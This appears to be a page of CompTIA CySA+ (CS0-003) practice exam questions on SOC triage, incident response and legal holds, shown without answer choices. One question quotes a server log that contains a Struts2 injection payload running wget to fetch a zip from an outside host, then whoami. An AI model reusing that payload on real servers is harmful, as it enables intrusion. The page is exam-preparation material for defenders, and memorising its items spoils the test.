CompTIA CS0-003 Practice Test - Questions Answers, Page 33

A SOC analyst determined that a significant number of the reported alarms could be closed after removing the duplicates. Which of the following could help the analyst reduce the number of alarms with the least effort?

A development team is preparing to roll out a beta version of a web application and wants to quickly test for vulnerabilities, including SQL injection, path traversal, and cross-site scripting. Which of the following tools would the security team most likely recommend to perform this test?

An organization has a critical financial application hosted online that does not allow event logging to send to the corporate SIEM. Which of the following is the best option for the security analyst to configure to improve the efficiency of security operations?

Which of the following will most likely cause severe issues with authentication and logging?

A regulated organization experienced a security breach that exposed a list of customer names with corresponding PH data. Which of the following is the best reason for developing the organization's communication plans?

Which of the following explains the importance of a timeline when providing an incident response report?

An organization receives a legal hold request from an attorney. The request pertains to emails related to a disputed vendor contract. Which of the following is the first step for the security team to take to ensure compliance with the request?

An incident response team member is triaging a Linux server. The output is shown below:

$ cat /etc/passwd

root:x:0:0::/:/bin/zsh

bin:x:1:1::/:/usr/bin/nologin

daemon:x:2:2::/:/usr/bin/nologin

mail:x:8:12::/var/spool/mail:/usr/bin/nologin

http:x:33:33::/srv/http:/bin/bash

nobody:x:65534:65534:Nobody:/:/usr/bin/nologin

git:x:972:972:git daemon user:/:/usr/bin/git-shell

$ cat /var/log/httpd

at org.apache.catalina.core.ApplicationFilterChain.internaDoFilter(ApplicationFilterChain.java:241)

at org.apache.catalina.core.ApplicationFilterChain.internaDoFilter(ApplicationFilterChain.java:208)

at org.java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:316)

at org.java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)

WARN [struts2.dispatcher.multipart.JakartaMultipartRequest] Unable to parse request container.getlnstance.(#wget http://grohl.ve.da/tmp/brkgtr.zip;#whoami)

at org.apache.commons.fileupload.FileUploadBase$FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:947) at org.apache.commons.fileupload.FileUploadBase.getItemiterator(FileUploadBase.java:334)

at org.apache.struts2.dispatcher.multipart.JakartaMultipartRequest.parseRequest(JakartaMultiPartRequest.java:188) org.apache.struts2.dispatcher.multipart.JakartaMultipartRequest.parseRequest(JakartaMultipartRequest.java:423)

Which of the following is the adversary most likely trying to do?

A SOC analyst observes reconnaissance activity from an IP address. The activity follows a pattern of short bursts toward a low number of targets. An open-source review shows that the IP has a bad reputation. The perimeter firewall logs indicate the inbound traffic was allowed. The destination hosts are high-value assets with EDR agents installed. Which of the following is the best action for the SOC to take to protect against any further activity from the source IP?